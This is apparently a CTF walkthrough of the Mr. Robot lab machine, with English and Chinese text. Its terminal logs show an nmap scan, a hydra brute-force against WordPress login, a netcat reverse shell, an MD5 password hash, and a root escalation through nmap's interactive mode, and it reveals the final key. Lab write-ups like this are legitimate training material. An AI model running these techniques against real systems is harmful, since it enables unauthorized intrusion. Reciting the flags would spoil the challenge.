Can you root this Mr. Robot styled machine? This is a virtual machine meant for beginners/intermediate users. There are 3 hidden keys located on the machine, can you find them? 你能扎根这台机器人先生风格的机器吗？这是一个面向初学者/中级用户的虚拟机。机器上有3个隐藏的钥匙，你能找到它们吗？
Credit to Leon Johnson for creating this machine. This machine is used here with the explicit permission of the creator <3 感谢Leon Johnson创造了这台机器。此机器在创建者的明确许可下在此处使用 <3
┌──(root㉿kali)-[/home/ace] └─# nmap -T4 -sC -sV 10.10.135.133 Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-0309:21 CST Nmap scan report for10.10.135.133 Host is up (0.28s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache 443/tcp open ssl/http Apache httpd |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache | ssl-cert: Subject: commonName=www.example.com | Not valid before: 2015-09-16T10:45:03 |_Not valid after: 2025-09-13T10:45:03
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in45.83 seconds
┌──(root㉿kali)-[/home/ace/下载] └─# hydra -l Elliot -P fsocity.dic.uniq \ -s 80 10.10.184.29 http-post-form -t 30 \ '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:The password you entered for the username' Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-03 13:25:33 [ERROR] File for passwords not found: fsocity.dic.uniq ┌──(root㉿kali)-[/home/ace/下载] └─# hydra -l Elliot -P fsocity.dic \ -s 80 10.10.184.29 http-post-form -t 30 \ '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:The password you entered for the username' Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-03 13:25:43 [DATA] max 30 tasks per 1 server, overall 30 tasks, 858235 login tries (l:1/p:858235), ~28608 tries per task [DATA] attacking http-post-form://10.10.184.29:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:The password you entered for the username [STATUS] 1122.00 tries/min, 1122 tries in 00:01h, 857113 to do in 12:44h, 30 active [STATUS] 1115.00 tries/min, 3345 tries in 00:03h, 854890 to do in 12:47h, 30 active [STATUS] 1009.57 tries/min, 7067 tries in 00:07h, 851168 to do in 14:04h, 30 active ^C^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
┌──(root㉿kali)-[/usr/share/webshells/php] └─# nc -lvnp 4444 listening on [any] 4444 ... connect to [10.18.75.12] from (UNKNOWN) [10.10.184.29] 48435 Linux linux 3.13.0-55-generic#94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 06:30:47 up 1:12, 0 users, load average: 0.00, 0.01, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1(daemon) gid=1(daemon) groups=1(daemon) /bin/sh: 0: can't access tty; job control turned off $ python3 -c "import pty;pty.spawn('/bin/bash')" daemon@linux:/$ ls ls bin dev home lib lost+found mnt proc run srv tmp var boot etc initrd.img lib64 media opt root sbin sys usr vmlinuz daemon@linux:/$ cd home cd home daemon@linux:/home$ ls ls robot daemon@linux:/home$ cd robot cd robot daemon@linux:/home/robot$ ls ls key-2-of-3.txt password.raw-md5 daemon@linux:/home/robot$ cat key-2-of-3.txt cat key-2-of-3.txt cat: key-2-of-3.txt: Permission denied daemon@linux:/home/robot$ cat password.raw-ma5 cat password.raw-ma5 cat: password.raw-ma5: No such file or directory daemon@linux:/home/robot$ cat password.raw-md5 cat password.raw-md5 robot:c3fcd3d76192e4007dfb496cca67e13b
You have enabled --force to bypass dangerous warnings and errors! This can hide serious problems and should only be done when debugging. Do not report hashcat issues encountered when using --force. OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ============================================================================================================================= * Device #1: pthread-13th Gen Intel(R) Core(TM) i5-13500H, 2855/2919 MB (1024 MB allocatable), 1MCU
Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256
ATTENTION! Pure (unoptimized) backend kernels selected. Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance. If you want to switch to optimized backend kernels, append -O to your commandline. See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled.
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help nmap> !sh !sh # cd /root cd /root # ls ls firstboot_done key-3-of-3.txt # cat key-3-of-3.txt cat key-3-of-3.txt 04787ddef27c3dee1ee161b21670b4e4 #
